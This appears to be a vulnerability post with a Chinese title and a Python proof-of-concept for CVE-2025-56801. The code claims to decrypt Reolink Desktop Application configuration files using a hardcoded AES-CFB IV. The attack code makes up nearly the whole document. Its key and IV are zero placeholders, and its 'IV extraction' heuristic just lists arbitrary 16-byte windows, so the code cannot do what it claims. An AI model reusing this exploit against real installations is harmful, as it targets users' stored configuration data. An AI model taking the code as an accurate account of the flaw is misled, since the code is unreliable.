CVE-2025-56801：Reolink桌面应用硬编码IV导致配置数据可解密

# CVE-2025-56801 PoC - Reolink Desktop Application AES-CFB Hardcoded IV # This PoC demonstrates how to decrypt configuration data using the hardcoded IV from Crypto.Cipher import AES import os import json def decrypt_reolink_config(encrypted_file_path, output_path): """ Decrypt Reolink Desktop Application configuration file using the hardcoded IV discovered in version 8.18.12 """ # The hardcoded IV extracted from the Reolink Desktop Application binary # This value is embedded in the application's encryption module HARDCODED_IV = b'\x00' * 16 # Placeholder - actual IV extracted from binary # Key derivation or extraction would be needed # In practice, the key may also be derivable from the application key = b'\x00' * 32 # AES-256 key placeholder try: with open(encrypted_file_path, 'rb') as f: encrypted_data = f.read() # Create AES-CFB cipher with hardcoded IV cipher = AES.new(key, AES.MODE_CFB, iv=HARDCODED_IV, segment_size=128) # Decrypt the configuration data decrypted_data = cipher.decrypt(encrypted_data) # Save decrypted configuration with open(output_path, 'wb') as f: f.write(decrypted_data) print(f"[+] Configuration successfully decrypted to {output_path}") return decrypted_data except Exception as e: print(f"[-] Decryption failed: {e}") return None def extract_iv_from_binary(binary_path): """ Extract the hardcoded IV from the Reolink application binary by searching for AES initialization patterns """ iv_patterns = [] try: with open(binary_path, 'rb') as f: data = f.read() # Search for potential 16-byte IV candidates # AES block size is 16 bytes for i in range(len(data) - 16): candidate = data[i:i+16] # Check if it looks like a potential IV (heuristic) if all(b != 0 for b in candidate) and len(set(candidate)) > 4: iv_patterns.append(candidate.hex()) print(f"[+] Found {len(iv_patterns)} potential IV candidates") return iv_patterns[:10] # Return top candidates except Exception as e: print(f"[-] Binary analysis failed: {e}") return [] if __name__ == "__main__": # Example usage print("CVE-2025-56801 PoC - Reolink Desktop Application") print("=" * 50) # Step 1: Extract IV from application binary # binary_path = "/path/to/Reolink.exe" # iv_candidates = extract_iv_from_binary(binary_path) # Step 2: Decrypt configuration # decrypt_reolink_config("config.enc", "config_decrypted.json") print("[*] See https://github.com/shinyColumn/CVE-2025-56801 for full details")